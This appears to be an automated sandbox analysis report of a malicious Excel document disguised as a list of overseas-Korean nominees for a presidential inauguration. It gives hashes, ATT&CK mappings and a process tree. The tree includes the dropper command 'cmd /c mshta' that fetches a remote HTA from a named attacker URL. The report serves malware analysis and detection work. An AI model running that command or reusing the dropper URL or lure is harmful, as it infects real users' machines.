43e47a037425c2efb68f0ba0004f7e851e8c242c5fa7ae6ade0e54fdd81e380a

General

Target

(양식) 제20대 대통령 취임식 재외동포 참석자 추천 명단(국민의힘당원 000).xls
Size

135KB
MD5

c8df23e698e196f803ace0f50a18944d
SHA1

bf47a34bc092fa81918a387e8f5282f7a7d8a0c4
SHA256

db70f269d62c43bd09580858731853a589e0f32f2d3c915b15cb9f0b4b9f12d2
SHA512

29146eff3ed7d8b6ddbf1736f2e2a2fb90a0cec1fc9f8244763802ef9af36bbf1fdd907eee198fe8d910cd3ae17227ab2d2b9e376d9243bdc549d602182f6ab3
SSDEEP

3072:Fk3hOdsylKlgryzc4bNhZFGzE+cL2knAeQN3QgBzMnNXHM6au7Fei9Yyg4/FQbux:Fk3hOdsylKlgryzc4bNhZF+E+W2knAeX

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://attiferstudio.com/install.bak/sony/6.html

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exeWerFault.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2816	1116	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2108	1116	WerFault.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

30 4616 mshta.exe

flow	pid	process
30	4616	mshta.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

Processes:

DW20.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1020	1116	DW20.EXE	EXCEL.EXE

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2108 1116 WerFault.exe EXCEL.EXE

pid	pid_target	process	target process
2108	1116	WerFault.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dwwin.exeEXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dwwin.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEdwwin.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwwin.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1116 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

EXCEL.EXE

pid process

1116 EXCEL.EXE
1116 EXCEL.EXE
1116 EXCEL.EXE
1116 EXCEL.EXE
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1116 EXCEL.EXE
1116 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE
1116	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exeDW20.EXE

description	pid	process	target process
PID 1116 wrote to memory of 2816	1116	EXCEL.EXE	cmd.exe
PID 1116 wrote to memory of 2816	1116	EXCEL.EXE	cmd.exe
PID 2816 wrote to memory of 4616	2816	cmd.exe	mshta.exe
PID 2816 wrote to memory of 4616	2816	cmd.exe	mshta.exe
PID 1116 wrote to memory of 1020	1116	EXCEL.EXE	DW20.EXE
PID 1116 wrote to memory of 1020	1116	EXCEL.EXE	DW20.EXE
PID 1020 wrote to memory of 3240	1020	DW20.EXE	dwwin.exe
PID 1020 wrote to memory of 3240	1020	DW20.EXE	dwwin.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\(양식) 제20대 대통령 취임식 재외동포 참석자 추천 명단(국민의힘당원 000).xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c mshta http://attiferstudio.com/install.bak/sony/6.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\system32\mshta.exe
mshta http://attiferstudio.com/install.bak/sony/6.html
3⤵
- Blocklisted process makes network request
PID:4616

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 4444
2⤵
- Process spawned suspicious child process
- Suspicious use of WriteProcessMemory
PID:1020

C:\Windows\system32\dwwin.exe
C:\Windows\system32\dwwin.exe -x -s 4444
3⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:3240

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1116 -s 4568
2⤵
- Process spawned unexpected child process
- Program crash
PID:2108

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 464 -p 1116 -ip 1116
1⤵
PID:4164

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1020-165-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1020-166-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1020-167-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1020-168-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1116-133-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1116-135-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1116-134-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1116-136-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1116-137-0x00007FF8912D0000-0x00007FF8912E0000-memory.dmp

Filesize
64KB

Download
memory/1116-138-0x00007FF88EC90000-0x00007FF88ECA0000-memory.dmp

Filesize
64KB

Download
memory/1116-139-0x00007FF88EC90000-0x00007FF88ECA0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads